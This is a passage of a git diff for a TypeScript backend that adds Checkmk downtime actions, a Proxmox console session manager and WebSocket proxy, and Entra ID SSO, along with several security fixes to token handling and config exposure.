monitoring integration is not configured", + }, + }); + return; + } + + const parsed = DowntimeSchema.safeParse(req.body); + if (!parsed.success) { + res.status(400).json({ + error: { + code: "INVALID_REQUEST", + message: "Invalid downtime request", + details: parsed.error.errors, + }, + }); + return; + } + + const { hostname, serviceDescription, comment, startTime, endTime } = + parsed.data; + + const result = await Promise.race([ + plugin.scheduleServiceDowntime({ + hostname, + serviceDescription, + comment, + startTime, + endTime, + }), + new Promise((_, reject) => { + setTimeout(() => { + reject(new Error("Upstream timeout")); + }, UPSTREAM_TIMEOUT_MS); + }), + ]); + + if (!result.success) { + logger.error("Checkmk downtime scheduling failed", { + component: "MonitoringActionsRouter", + integration: "checkmk", + operation: "downtime", + metadata: { hostname, serviceDescription, error: result.error }, + }); + res.status(502).json({ + error: { + code: "UPSTREAM_ERROR", + message: `Checkmk downtime scheduling failed: ${result.error ?? "unknown error"}`, + }, + }); + return; + } + + if (req.user) { + await auditLogger.logAdminAction( + "checkmk_downtime", + req.user.userId, + { hostname, serviceDescription, comment, startTime, endTime }, + req.ip, + req.get("user-agent") ?? undefined, + ); + } + + res.json({ success: true }); + }), + ); + + return router; +} diff --git a/backend/src/routes/inventory.ts b/backend/src/routes/inventory.ts index 1304584c..a36382b6 100644 --- a/backend/src/routes/inventory.ts +++ b/backend/src/routes/inventory.ts @@ -234,12 +234,16 @@ export function createInventoryRouter( ); const pqlNodeIds = new Set(pqlNodes.map((n) => n.id)); - // Filter to only include PuppetDB nodes that match PQL query + // Filter to only include nodes that exist in PuppetDB and match the PQL query. + // Linked nodes may have a different primary source (e.g., "ssh") but still + // include "puppetdb" in their sources array. filteredNodes = filteredNodes.filter((node) => { - const nodeSource = - (node as { source?: string }).source ?? "bolt"; - // When PQL query is applied, only show PuppetDB nodes that match - return nodeSource === "puppetdb" && pqlNodeIds.has(node.id); + const linkedNode = node as { source?: string; sources?: string[] }; + const nodeSources = linkedNode.sources && linkedNode.sources.length > 0 + ? linkedNode.sources + : [linkedNode.source ?? "bolt"]; + const isFromPuppetdb = nodeSources.includes("puppetdb"); + return isFromPuppetdb && pqlNodeIds.has(node.id); }); logger.info("PQL filter applied successfully", { diff --git a/backend/src/routes/streaming.ts b/backend/src/routes/streaming.ts index 0ba8b062..2c2023e0 100644 --- a/backend/src/routes/streaming.ts +++ b/backend/src/routes/streaming.ts @@ -130,8 +130,9 @@ export function createStreamingRouter( * GET /api/executions/:id/stream * Subscribe to streaming events for an execution * - * Preferred auth: pass ?ticket= (obtained from POST /:id/stream-ticket) - * Fallback: ?token= (deprecated — JWT will appear in access logs) + * Auth: pass ?ticket= (obtained from POST /:id/stream-ticket). + * The legacy ?token= fallback was removed — a JWT in the URL leaks into + * access logs, browser history, and proxy caches. */ router.get( "/:id/stream", diff --git a/backend/src/server.ts b/backend/src/server.ts index b8b85f19..16388d71 100644 --- a/backend/src/server.ts +++ b/backend/src/server.ts @@ -36,6 +36,7 @@ import { createAWSRouter } from "./routes/integrations/aws"; import { createAzureRouter } from "./routes/integrations/azure"; import { createMonitoringRouter } from "./routes/integrations/monitoring"; import { createMonitoringOverviewRouter } from "./routes/integrations/monitoringOverview"; +import { createMonitoringActionsRouter } from "./routes/integrations/monitoringActions"; import type { AWSPlugin } from "./integrations/aws/AWSPlugin"; import type { AzurePlugin } from "./integrations/azure/AzurePlugin"; import monitoringRouter from "./routes/monitoring"; @@ -61,6 +62,12 @@ import type { PuppetDBService } from "./integrations/puppetdb/PuppetDBService"; import type { PuppetserverService } from "./integrations/puppetserver/PuppetserverService"; import type { HieraPlugin } from "./integrations/hiera/HieraPlugin"; import type { ProxmoxIntegration } from "./integrations/proxmox/ProxmoxIntegration"; +import type { ProxmoxClient } from "./integrations/proxmox/ProxmoxClient"; +import type { ProxmoxConfig } from "./integrations/proxmox/types"; +import { ProxmoxConsoleProvider } from "./integrations/proxmox/ProxmoxConsoleProvider"; +import { ConsoleSessionManager } from "./services/ConsoleSessionManager"; +import { ConsoleWebSocketProxy } from "./services/ConsoleWebSocketProxy"; +import { createConsoleRouter } from "./routes/console"; import type { CheckmkPlugin } from "./integrations/checkmk/CheckmkPlugin"; import { pluginRegistry } from "./plugins/registry"; import { LoggerService } from "./services/LoggerService"; @@ -74,6 +81,9 @@ import { AuthenticationService } from "./services/AuthenticationService"; import { UserService } from "./services/UserService"; import { RoleService } from "./services/RoleService"; import { PermissionService } from "./services/PermissionService"; +import { AuditLoggingService } from "./services/AuditLoggingService"; +import { EntraIdService } from "./services/EntraIdService"; +import { createEntraIdAuthRouter } from "./routes/entraIdAuth"; import { provisionMcpServiceUser } from "./mcp/McpServiceUser"; import { createMcpServer } from "./mcp/McpServer"; @@ -441,6 +451,26 @@ async function startServer(): Promise { }); } + // Register ProxmoxConsoleProvider alongside the Proxmox plugin (Req 9.1, 2.6) + if (proxmoxPlugin) { + const rawClient = proxmoxPlugin.getClient(); + const proxmoxCfg = proxmoxPlugin.getConfig().config as unknown as ProxmoxConfig; + if (rawClient) { + const proxmoxClient = rawClient as unknown as ProxmoxClient; + const consoleProvider = new ProxmoxConsoleProvider(proxmoxClient, proxmoxCfg, logger); + integrationManager.registerConsoleProvider(consoleProvider); + logger.info("ProxmoxConsoleProvider registered with IntegrationManager", { + component: "Server", + operation: "initializeConsole", + }); + } else { + logger.warn("Proxmox client not available — skipping ProxmoxConsoleProvider registration", { + component: "Server", + operation: "initializeConsole", + }); + } + } + // Retrieve specific plugin instances needed by downstream consumers const puppetDBService = (integrationManager.getInformationSource("puppetdb") ?? undefined) as PuppetDBService | undefined; const puppetserverService = (integrationManager.getInformationSource("puppetserver") ?? undefined) as PuppetserverService | undefined; @@ -561,7 +591,7 @@ async function startServer(): Promise { res.status(overall === "ok" ? 200 : 503).json({ status: overall, message: "Backend API is running", - version: "1.4.0", + version: "1.5.0", checks: { database: dbError ? { status: dbStatus, error: dbError } : { status: dbStatus }, }, @@ -575,6 +605,69 @@ async function startServer(): Promise { const authRateLimitMiddleware = createAuthRateLimitMiddleware(); app.use("/api/auth", authRateLimitMiddleware, createAuthRouter(databaseService, container)); + // Conditionally initialize Entra ID SSO authentication + const entraIdConfig = configService.getEntraIdConfig(); + let entraIdCleanupInterval: ReturnType | undefined; + if (entraIdConfig?.enabled) { + logger.info("Entra ID authentication enabled, initializing...", { + component: "Server", + operation: "initializeEntraId", + }); + + try { + const auditLogger = new AuditLoggingService(databaseService.getAdapter()); + const authService = new AuthenticationService( + databaseService.getAdapter(), + configService.getJwtSecret(), + auditLogger, + ); + const userService = new UserService(databaseService.getAdapter(), authService); + const roleService = new RoleService(databaseService.getAdapter()); + + const entraIdService = new EntraIdService( + databaseService.getAdapter(), + entraIdConfig, + authService, + userService, + roleService, + auditLogger, + logger, + ); + container.register("entraId", entraIdService); + + app.use( + "/api/auth/entra-id", + createEntraIdAuthRouter(databaseService, container), + ); + + // Periodic cleanup of expired OAuth state entries (every 5 minutes) + entraIdCleanupInterval = setInterval(() => { + entraIdService.cleanupExpiredState().catch((err: unknown) => { + logger.warn("Entra ID state cleanup failed", { + component: "Server", + operation: "entraIdCleanup", + metadata: { error: err instanceof Error ? err.message : String(err) }, + }); + }); + }, 5 * 60 * 1000); + + logger.info("Entra ID authentication initialized, /api/auth/entra-id routes mounted", { + component: "Server", + operation: "initializeEntraId", + }); + } catch (error) { + logger.error("Failed to initialize Entra ID authentication", { + component: "Server", + operation: "initializeEntraId", + }, error instanceof Error ? error : undefined); + } + } else { + logger.info("Entra ID authentication disabled", { + component: "Server", + operation: "initializeEntraId", + }); + } + // Create authentication and RBAC middleware instances // Wrap async middleware with asyncHandler to satisfy Express's void return expectation const authMiddleware = asyncHandler(createAuthMiddleware(databaseService.getAdapter(), configService.getJwtSecret())); @@ -585,17 +678,29 @@ async function startServer(): Promise { // Create rate limiting middleware for authenticated routes const rateLimitMiddleware = createRateLimitMiddleware(); - // Configuration endpoint (security-sensitive — requires authentication) - app.get("/api/config", authMiddleware, (_req: Request, res: Response) => { + // Configuration endpoint (security-sensitive — requires authentication). + // The command whitelist (allow/deny policy) is only returned to callers who + // hold `bolt:execute`, since it is only actionable for users who can run + // commands. Non-executors receive execution timeout only. (Finding L-3) + const configPermissionService = new PermissionService(databaseService.getAdapter()); + app.get("/api/config", authMiddleware, asyncHandler(async (req: Request, res: Response): Promise => { + const canExecute = req.user?.userId + ? await configPermissionService.hasPermission(req.user.userId, "bolt", "execute") + : false; + res.json({ - commandWhitelist: { - allowAll: config.commandWhitelist.allowAll, - matchMode: config.commandWhitelist.matchMode, - whitelist: config.commandWhitelist.whitelist, - }, + ...(canExecute + ? { + commandWhitelist: { + allowAll: config.commandWhitelist.allowAll, + matchMode: config.commandWhitelist.matchMode, + whitelist: config.commandWhitelist.whitelist, + }, + } + : {}), executionTimeout: config.executionTimeout, }); - }); + })); // Config routes (UI settings — requires authentication) app.use("/api/config", authMiddleware, createConfigRouter(container)); @@ -630,6 +735,20 @@ async function startServer(): Promise { createMonitoringOverviewRouter(integrationManager, container), ); + // Checkmk monitoring write actions (acknowledge / downtime). + // Mounted AFTER the read overview so that GET /overview resolves there and + // never triggers the write-permission gate. Write actions additionally pass + // through the read mount above (read router does not match POST routes), so + // they require both checkmk:read and checkmk:write — both held by the + // Operator and Administrator roles. + app.use( + "/api/monitoring", + authMiddleware, + rateLimitMiddleware, + rbacMiddleware('checkmk', 'write'), + createMonitoringActionsRouter(integrationManager, databaseService, container), + ); + // API Routes - Inventory routes (protected with RBAC) app.use( "/api/inventory", @@ -752,18 +871,18 @@ async function startServer(): Promise { "/api/executions", authMiddleware, rateLimitMiddleware, - createExecutionsRouter(executionRepository, executionQueue, batchExecutionService, container), + createExecutionsRouter(executionRepository, executionQueue, batchExecutionService, container, rbacMiddleware('bolt', 'execute'), commandWhitelistService), ); app.use( "/api/executions", - streamAuthMiddleware, // resolve ?ticket= / ?token= before auth check + streamAuthMiddleware, // resolve single-use ?ticket= before auth check authMiddleware, rateLimitMiddleware, createStreamingRouter(streamingManager, executionRepository, container), ); app.use( "/api/streaming", - streamAuthMiddleware, // resolve ?ticket= / ?token= before auth check + streamAuthMiddleware, // resolve single-use ?ticket= before auth check authMiddleware, rateLimitMiddleware, createStreamingRouter(streamingManager, executionRepository, container), @@ -977,6 +1096,26 @@ async function startServer(): Promise { }); } + // === Console Integration Wiring (session manager + routes) === + const consoleConfig = configService.getConsoleConfig(); + const auditLoggingService = new AuditLoggingService(databaseService.getAdapter()); + const consoleSessionManager = new ConsoleSessionManager( + databaseService.getAdapter(), + consoleConfig, + logger, + auditLoggingService, + ); + + // Mount console routes before SPA fallback so /api/console is handled correctly + app.use( + "/api/console", + createConsoleRouter(container, integrationManager, consoleSessionManager, databaseService.getAdapter()), + ); + logger.info("Console routes mounted at /api/console", { + component: "Server", + operation: "initializeConsole", + }); + // Serve static frontend files in production const publicPath = path.resolve(__dirname, "..", "public"); app.use(express.static(publicPath)); @@ -1002,6 +1141,42 @@ async function startServer(): Promise { }); }); + // Attach WebSocket proxy to the HTTP server (noServer: true, shared port) + new ConsoleWebSocketProxy( + server, + consoleSessionManager, + { allowedOrigins: config.corsAllowedOrigins, console: consoleConfig }, + logger, + ); + logger.info("ConsoleWebSocketProxy attached to HTTP server", { + component: "Server", + operation: "initializeConsole", + }); + + // Graceful restart: terminate all pre-existing sessions for each registered console provider (Req 2.6) + const consoleProviders = integrationManager.getAllConsoleProviders(); + for (const cp of consoleProviders) { + await consoleSessionManager.terminateAllForProvider(cp.name); + } + if (consoleProviders.length > 0) { + logger.info("Terminated stale console sessions from previous run", { + component: "Server", + operation: "initializeConsole", + metadata: { providerCount: consoleProviders.length }, + }); + } + + // Session cleanup interval: expire idle sessions periodically + const consoleCleanupInterval = setInterval(() => { + consoleSessionManager.cleanupExpiredSessions().catch((err: unknown) => { + logger.warn("Console session cleanup failed", { + component: "Server", + operation: "consoleCleanup", + metadata: { error: err instanceof Error ? err.message : String(err) }, + }); + }); + }, consoleConfig.sessionTimeoutMs); + // Graceful shutdown process.on("SIGTERM", () => { logger.info("SIGTERM received, shutting down gracefully...", { @@ -1010,6 +1185,10 @@ async function startServer(): Promise { }); streamingManager.cleanup(); integrationManager.stopHealthCheckScheduler(); + if (entraIdCleanupInterval) { + clearInterval(entraIdCleanupInterval); + } + clearInterval(consoleCleanupInterval); server.close(() => { void databaseService.close().then(() => { logger.info("Server closed", { diff --git a/backend/src/services/AuthenticationService.ts b/backend/src/services/AuthenticationService.ts index 2050c02c..31f22d65 100644 --- a/backend/src/services/AuthenticationService.ts +++ b/backend/src/services/AuthenticationService.ts @@ -598,10 +598,18 @@ export class AuthenticationService { ); if (userRevocation) { - // Check if token was issued before the revocation - const tokenIssuedAt = decoded.iat * 1000; - const revokedAt = new Date(userRevocation.revokedAt).getTime(); - return tokenIssuedAt < revokedAt; + // JWT `iat` is second-granularity, but `revokedAt` is stored with + // millisecond precision. Comparing `iat * 1000 < revokedAt` (strict, ms) + // left a sub-second ambiguity for tokens minted in the same wall-clock + // second as the revocation. Compare at second granularity and treat the + // revocation second as inclusive: any token whose `iat` is at or before + // the revocation second is rejected (fail-secure). A token minted in a + // later second survives. + const tokenIssuedAtSec = decoded.iat; + const revokedAtSec = Math.floor( + new Date(userRevocation.revokedAt).getTime() / 1000, + ); + return tokenIssuedAtSec <= revokedAtSec; } return false; diff --git a/backend/src/services/ConsoleSessionManager.ts b/backend/src/services/ConsoleSessionManager.ts new file mode 100644 index 00000000..69309ebc --- /dev/null +++ b/backend/src/services/ConsoleSessionManager.ts @@ -0,0 +1,339 @@ +import { randomBytes } from "crypto"; + +import type { ConsoleConfig } from "../config/schema"; +import type { DatabaseAdapter } from "../database/DatabaseAdapter"; +import type { ConsoleSession } from "../integrations/console/types"; + +import type { AuditLoggingService } from "./AuditLoggingService"; +import type { LoggerService } from "./LoggerService"; + +/** + * Row shape returned by console_sessions SELECT queries. + */ +interface ConsoleSessionRow { + id: string; + userId: string; + nodeId: string; + provider: string; + transport: string; + state: string; + token: string | null; + tokenCreatedAt: string | null; + tokenConsumed: number; + upstreamUrl: string | null; + startedAt: string; + lastHeartbeatAt: string | null; + terminatedAt: string | null; + errorMessage: string | null; +} + +const COMPONENT = "ConsoleSessionManager"; + +const SESSION_SELECT = ` + SELECT + id, user_id AS "userId", node_id AS "nodeId", provider, transport, state, + token, token_created_at AS "tokenCreatedAt", token_consumed AS "tokenConsumed", + upstream_url AS "upstreamUrl", started_at AS "startedAt", + last_heartbeat_at AS "lastHeartbeatAt", terminated_at AS "terminatedAt", + error_message AS "errorMessage" + FROM console_sessions`; + +/** + * Manages console session lifecycle: token generation/validation, + * session CRUD, heartbeats, concurrent limiting, and cleanup. + * + * Requirements: 2.1–2.8, 8.1, 8.2, 8.4, 8.6, 8.7 + */ +export class ConsoleSessionManager { + constructor( + private db: DatabaseAdapter, + private config: ConsoleConfig, + private logger: LoggerService, + private auditLogger: AuditLoggingService, + ) {} + + /** Generate a cryptographically random session token (32 bytes → 64 hex chars). */ + generateToken(): string { + return randomBytes(32).toString("hex"); + } + + /** Store a new console session and record an audit log entry. */ + async createSession(session: ConsoleSession): Promise { + const now = new Date().toISOString(); + + await this.db.execute( + `INSERT INTO console_sessions ( + id, user_id, node_id, provider, transport, state, + token, token_created_at, token_consumed, upstream_url, + started_at, last_heartbeat_at + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, 0, ?, ?, ?)`, + [ + session.sessionId, + session.userId, + session.nodeId, + session.provider, + session.transport, + session.state, + session.token, + now, + null, + session.startedAt, + now, + ], + ); + + await this.auditLogger.logAdminAction( + "console_session_create", + session.userId, + { + nodeId: session.nodeId, + provider: session.provider, + sessionId: session.sessionId, + timestamp: now, + }, + ); + + this.logger.info("Console session created", { + component: COMPONENT, + metadata: { sessionId: session.sessionId, userId: session.userId }, + }); + } + + /** + * Validate a session token for WebSocket upgrade (no userId required). + * Token must: exist, be created < 60s ago, and not be consumed. + * Used by ConsoleWebSocketProxy where userId is not available at handshake time. + * Requirements 4.2, 5.2, 8.2 + */ + async validateTokenForUpgrade(token: string): Promise { + const row = await this.db.queryOne( + `${SESSION_SELECT} WHERE token = ?`, + [token], + ); + + if (!row) { + return null; + } + + // Token must not be consumed + if (row.tokenConsumed !== 0) { + return null; + } + + // Token must be created < 60s ago + if (!row.tokenCreatedAt) { + return null; + } + const tokenAge = Date.now() - new Date(row.tokenCreatedAt).getTime(); + if (tokenAge >= 60_000) { + return null; + } + + return this.rowToSession(row); + } + + /** + * Validate a session token. + * Token must: exist, be created < 60s ago, not be consumed, and match userId. + * Requirements 8.2, 4.2 + */ + async validateToken( + token: string, + userId: string, + ): Promise { + const row = await this.db.queryOne( + `${SESSION_SELECT} WHERE token = ?`, + [token], + ); + + if (!row) { + return null; + } + + // Token must not be consumed + if (row.tokenConsumed !== 0) { + return null; + } + + // Token must be created < 60s ago + if (!row.tokenCreatedAt) { + return null; + } + const tokenAge = + Date.now() - new Date(row.tokenCreatedAt).getTime(); + if (tokenAge >= 60_000) { + return null; + } + + // Owner must match + if (row.userId !== userId) { + return null; + } + + return this.rowToSession(row); + } + + /** Mark a token as consumed (after successful WebSocket upgrade). */ + async consumeToken(token: string): Promise { + await this.db.execute( + `UPDATE console_sessions SET token_consumed = 1 WHERE token = ?`, + [token], + ); + } + + /** + * Record a heartbeat for an active session. + * Requirement 2.3 + */ + async heartbeat(sessionId: string): Promise { + const now = new Date().toISOString(); + await this.db.execute( + `UPDATE console_sessions SET last_heartbeat_at = ? WHERE id = ?`, + [now, sessionId], + ); + } + + /** + * Terminate a session and record an audit log entry. + * Requirements 2.5, 8.4 + */ + async terminateSession(sessionId: string, reason: string): Promise { + const now = new Date().toISOString(); + + const session = await this.getSession(sessionId); + if (!session) { + this.logger.warn("Attempted to terminate non-existent session", { + component: COMPONENT, + metadata: { sessionId }, + }); + return; + } + + await this.db.execute( + `UPDATE console_sessions + SET state = 'terminated', terminated_at = ?, error_message = ? + WHERE id = ?`, + [now, reason, sessionId], + ); + + await this.auditLogger.logAdminAction( + "console_session_terminate", + session.userId, + { + nodeId: session.nodeId, + provider: session.provider, + sessionId, + reason, + timestamp: now, + }, + ); + + this.logger.info("Console session terminated", { + component: COMPONENT, + metadata: { sessionId, reason }, + }); + } + + /** + * Count active sessions for a user. + * Requirement 8.6 + */ + async getActiveSessionCount(userId: string): Promise { + const row = await this.db.queryOne<{ count: number }>( + `SELECT COUNT(*) AS "count" + FROM console_sessions + WHERE user_id = ? AND state = 'active'`, + [userId], + ); + return row?.count ?? 0; + } + + /** + * Terminate all active sessions for a provider (used on restart/shutdown). + * Requirement 2.6 + */ + async terminateAllForProvider(provider: string): Promise { + const now = new Date().toISOString(); + const result = await this.db.execute( + `UPDATE console_sessions + SET state = 'terminated', terminated_at = ? + WHERE provider = ? AND state IN ('creating', 'active')`, + [now, provider], + ); + + this.logger.info("Bulk terminated sessions for provider", { + component: COMPONENT, + metadata: { provider, count: result.changes }, + }); + } + + /** + * Cleanup expired sessions: active sessions whose last heartbeat + * is older than sessionTimeoutMs. + * Requirement 2.4 + */ + async cleanupExpiredSessions(): Promise { + const cutoff = new Date( + Date.now() - this.config.sessionTimeoutMs, + ).toISOString(); + const now = new Date().toISOString(); + + const result = await this.db.execute( + `UPDATE console_sessions + SET state = 'terminated', terminated_at = ?, error_message = 'session_timeout' + WHERE state = 'active' AND last_heartbeat_at < ?`, + [now, cutoff], + ); + + if (result.changes > 0) { + this.logger.info("Cleaned up expired console sessions", { + component: COMPONENT, + metadata: { count: result.changes }, + }); + } + } + + /** + * Retrieve a session by ID. + */ + async getSession(sessionId: string): Promise { + const row = await this.db.queryOne( + `${SESSION_SELECT} WHERE id = ?`, + [sessionId], + ); + + if (!row) { + return null; + } + + return this.rowToSession(row); + } + + /** + * Get the upstream WebSocket URL for a session. + */ + async getUpstreamUrl(sessionId: string): Promise { + const row = await this.db.queryOne<{ upstreamUrl: string | null }>( + `SELECT upstream_url AS "upstreamUrl" FROM console_sessions WHERE id = ?`, + [sessionId], + ); + return row?.upstreamUrl ?? null; + } + + /** + * Map a database row to a ConsoleSession object. + */ + private rowToSession(row: ConsoleSessionRow): ConsoleSession { + return { + sessionId: row.id, + userId: row.userId, + nodeId: row.nodeId, + provider: row.provider, + transport: row.transport as ConsoleSession["transport"], + state: row.state as ConsoleSession["state"], + token: row.token ?? "", + wsUrl: `/ws/console/${row.transport === "websocket-vnc" ? "vnc" : "terminal"}?token=${row.token ?? ""}`, + startedAt: row.startedAt, + }; + } +} diff --git a/backend/src/services/ConsoleWebSocketProxy.ts b/backend/src/services/ConsoleWebSocketProxy.ts new file mode 100644 index 00000000..0f694f25 --- /dev/null +++ b/backend/src/services/ConsoleWebSocketProxy.ts @@ -0,0 +1,323 @@ +import { WebSocketServer, WebSocket } from "ws"; +import type { Server as HTTPServer, IncomingMessage } from "http"; +import type { Duplex } from "stream"; +import { URL } from "url"; + +import type { ConsoleConfig } from "../config/schema"; +import type { ConsoleSession } from "../integrations/console/types"; + +import type { ConsoleSessionManager } from "./ConsoleSessionManager"; +import type { LoggerService } from "./LoggerService"; + +/** WebSocket close codes for console proxy */ +const CLOSE_CODES = { + SESSION_DURATION_EXCEEDED: 4408, + UPSTREAM_FAILURE: 4502, + CONNECTION_TIMEOUT: 4504, +} as const; + +/** Terminal control message types */ +const CONTROL_MSG = { RESIZE: 0x01 } as const; + +/** Expected frame length for resize: 1 type byte + 4 data bytes */ +const RESIZE_FRAME_LENGTH = 5; + +const UPSTREAM_CONNECT_TIMEOUT_MS = 10_000; +const UPSTREAM_CLOSE_TIMEOUT_MS = 5_000; +const COMPONENT = "ConsoleWebSocketProxy"; + +interface ProxyConfig { + allowedOrigins: string[]; + console: ConsoleConfig; +} + +/** + * WebSocket proxy for console connections (VNC and terminal). + * Attaches to the existing HTTP server with `noServer: true`. + * Requirements: 4.1–4.8, 5.1–5.8, 8.5, 8.7 + */ +export class ConsoleWebSocketProxy { + private wss: WebSocketServer; + + constructor( + httpServer: HTTPServer, + private sessionManager: ConsoleSessionManager, + private config: ProxyConfig, + private logger: LoggerService, + ) { + this.wss = new WebSocketServer({ noServer: true }); + httpServer.on("upgrade", (req: IncomingMessage, socket: Duplex, head: Buffer) => { + this.handleUpgrade(req, socket, head); + }); + } + + private handleUpgrade(req: IncomingMessage, socket: Duplex, head: Buffer): void { + const url = this.parseRequestUrl(req); + if (!url) { socket.destroy(); return; } + + const { pathname } = url; + if (pathname !== "/ws/console/vnc" && pathname !== "/ws/console/terminal") { + return; // Not our path + } + + if (!this.isOriginAllowed(req)) { + this.logger.warn("WebSocket upgrade rejected: invalid origin", { + component: COMPONENT, metadata: { origin: req.headers.origin ?? "none" }, + }); + socket.destroy(); + return; + } + + const token = url.searchParams.get("token"); + if (!token) { + this.logger.warn("WebSocket upgrade rejected: missing token", { component: COMPONENT }); + socket.destroy(); + return; + } + + void this.authenticateAndConnect(req, socket, head, token, pathname); + } + + private async authenticateAndConnect( + req: IncomingMessage, socket: Duplex, head: Buffer, token: string, pathname: string, + ): Promise { + try { + const session = await this.sessionManager.validateTokenForUpgrade(token); + if (!session) { + this.logger.warn("WebSocket upgrade rejected: invalid or expired token", { component: COMPONENT }); + socket.destroy(); + return; + } + + await this.sessionManager.consumeToken(token); + + this.wss.handleUpgrade(req, socket, head, (clientWs: WebSocket) => { + this.wss.emit("connection", clientWs, req); + void this.startRelay(clientWs, session, pathname); + }); + } catch (err) { + this.logger.error("Error during WebSocket authentication", { + component: COMPONENT, + metadata: { error: err instanceof Error ? err.message : String(err) }, + }); + socket.destroy(); + } + } + + private async startRelay( + clientWs: WebSocket, session: ConsoleSession, pathname: string, + ): Promise { + const upstreamUrl = await this.sessionManager.getUpstreamUrl(session.sessionId); + if (!upstreamUrl) { + clientWs.close(CLOSE_CODES.UPSTREAM_FAILURE, "No upstream URL configured"); + return; + } + + const upstream = await this.connectUpstream(clientWs, session, upstreamUrl); + if (!upstream) return; + + const durationTimer = this.startDurationTimer(clientWs, upstream, session); + const label = pathname === "/ws/console/vnc" ? "VNC" : "Terminal"; + + // Wire message relay based on transport type + if (pathname === "/ws/console/vnc") { + this.wireVncRelay(clientWs, upstream); + } else { + this.wireTerminalRelay(clientWs, upstream, session); + } + + // Shared lifecycle handlers + this.wireLifecycle(clientWs, upstream, session, durationTimer, label); + } + + /** VNC: bidirectional binary relay, no modification. */ + private wireVncRelay(clientWs: WebSocket, upstream: WebSocket): void { + upstream.on("message", (data: Buffer) => { + if (clientWs.readyState === WebSocket.OPEN) { + clientWs.send(data, { binary: true }); + } + }); + clientWs.on("message", (data: Buffer) => { + if (upstream.readyState === WebSocket.OPEN) { + upstream.send(data, { binary: true }); + } + }); + } + + /** Terminal: text frames for I/O, binary frames for control messages. */ + private wireTerminalRelay( + clientWs: WebSocket, upstream: WebSocket, session: ConsoleSession, + ): void { + upstream.on("message", (data: Buffer, isBinary: boolean) => { + if (clientWs.readyState !== WebSocket.OPEN) return; + if (isBinary) { + clientWs.send(data, { binary: true }); + } else { + clientWs.send(data.toString("utf-8"), { binary: false }); + } + }); + + clientWs.on("message", (data: Buffer, isBinary: boolean) => { + if (isBinary) { + this.handleTerminalControlMessage(data, upstream, session); + } else if (upstream.readyState === WebSocket.OPEN) { + upstream.send(data.toString("utf-8"), { binary: false }); + } + }); + } + + /** Shared close/error lifecycle wiring for both transport types. */ + private wireLifecycle( + clientWs: WebSocket, + upstream: WebSocket, + session: ConsoleSession, + durationTimer: ReturnType, + label: string, + ): void { + upstream.on("close", () => { + clearTimeout(durationTimer); + if (clientWs.readyState === WebSocket.OPEN) { + clientWs.close(CLOSE_CODES.UPSTREAM_FAILURE, "Upstream connection closed"); + } + void this.sessionManager.terminateSession(session.sessionId, "upstream_closed"); + }); + + upstream.on("error", (err: Error) => { + this.logger.error(`${label} upstream error`, { + component: COMPONENT, + metadata: { sessionId: session.sessionId, error: err.message }, + }); + }); + + clientWs.on("close", () => { + clearTimeout(durationTimer); + this.closeUpstreamGracefully(upstream); + void this.sessionManager.terminateSession(session.sessionId, "client_disconnected"); + }); + + clientWs.on("error", (err: Error) => { + this.logger.error(`${label} client error`, { + component: COMPONENT, + metadata: { sessionId: session.sessionId, error: err.message }, + }); + }); + } + + /** + * Handle binary control messages on terminal connections. + * Type 0x01 = resize: next 4 bytes = columns (uint16 BE) + rows (uint16 BE). + * Unrecognized types or frames shorter than expected → discard. + */ + private handleTerminalControlMessage( + data: Buffer, upstream: WebSocket, session: ConsoleSession, + ): void { + if (data.length < 1) return; + const msgType = data[0]; + + if (msgType !== CONTROL_MSG.RESIZE) { + this.logger.debug("Discarding unrecognized control message type", { + component: COMPONENT, metadata: { sessionId: session.sessionId, msgType }, + }); + return; + } + + if (data.length < RESIZE_FRAME_LENGTH) { + this.logger.debug("Discarding truncated resize control message", { + component: COMPONENT, metadata: { sessionId: session.sessionId, length: data.length }, + }); + return; + } + + const columns = data.readUInt16BE(1); + const rows = data.readUInt16BE(3); + if (columns < 1 || columns > 500 || rows < 1 || rows > 200) { + this.logger.debug("Discarding resize with invalid dimensions", { + component: COMPONENT, metadata: { sessionId: session.sessionId, columns, rows }, + }); + return; + } + + if (upstream.readyState === WebSocket.OPEN) { + upstream.send(data, { binary: true }); + } + } + + /** Connect upstream with 10s timeout. Returns null on failure. */ + private connectUpstream( + clientWs: WebSocket, session: ConsoleSession, upstreamUrl: string, + ): Promise { + return new Promise((resolve) => { + const upstream = new WebSocket(upstreamUrl, { + rejectUnauthorized: this.config.console.verifyUpstreamTls, + }); + + const timeout = setTimeout(() => { + upstream.terminate(); + if (clientWs.readyState === WebSocket.OPEN) { + clientWs.close(CLOSE_CODES.CONNECTION_TIMEOUT, "Upstream connection timeout"); + } + void this.sessionManager.terminateSession(session.sessionId, "upstream_timeout"); + resolve(null); + }, UPSTREAM_CONNECT_TIMEOUT_MS); + + upstream.on("open", () => { + clearTimeout(timeout); + this.logger.info("Upstream connection established", { + component: COMPONENT, metadata: { sessionId: session.sessionId }, + }); + resolve(upstream); + }); + + upstream.on("error", (err: Error) => { + clearTimeout(timeout); + this.logger.error("Upstream connection failed", { + component: COMPONENT, metadata: { sessionId: session.sessionId, error: err.message }, + }); + if (clientWs.readyState === WebSocket.OPEN) { + clientWs.close(CLOSE_CODES.CONNECTION_TIMEOUT, "Upstream connection failed"); + } + void this.sessionManager.terminateSession(session.sessionId, "upstream_error"); + resolve(null); + }); + }); + } + + private startDurationTimer( + clientWs: WebSocket, upstream: WebSocket, session: ConsoleSession, + ): ReturnType { + return setTimeout(() => { + this.logger.info("Session duration limit reached", { + component: COMPONENT, metadata: { sessionId: session.sessionId }, + }); + if (clientWs.readyState === WebSocket.OPEN) { + clientWs.close(CLOSE_CODES.SESSION_DURATION_EXCEEDED, "Session duration exceeded"); + } + this.closeUpstreamGracefully(upstream); + void this.sessionManager.terminateSession(session.sessionId, "max_duration_exceeded"); + }, this.config.console.maxSessionDuration); + } + + private closeUpstreamGracefully(upstream: WebSocket): void { + if (upstream.readyState === WebSocket.OPEN || upstream.readyState === WebSocket.CONNECTING) { + upstream.close(); + const forceTimer = setTimeout(() => { upstream.terminate(); }, UPSTREAM_CLOSE_TIMEOUT_MS); + upstream.on("close", () => { clearTimeout(forceTimer); }); + } + } + + private isOriginAllowed(req: IncomingMessage): boolean { + const { allowedOrigins } = this.config; + if (allowedOrigins.length === 0) return true; // Dev mode: no restriction + const origin = req.headers.origin; + if (!origin) return false; + return allowedOrigins.includes(origin); + } + + private parseRequestUrl(req: IncomingMessage): URL | null { + try { + return new URL(req.url ?? "/", `http://${req.headers.host ?? "localhost"}`); + } catch { + return null; + } + } +} diff --git a/backend/src/services/EntraIdService.ts 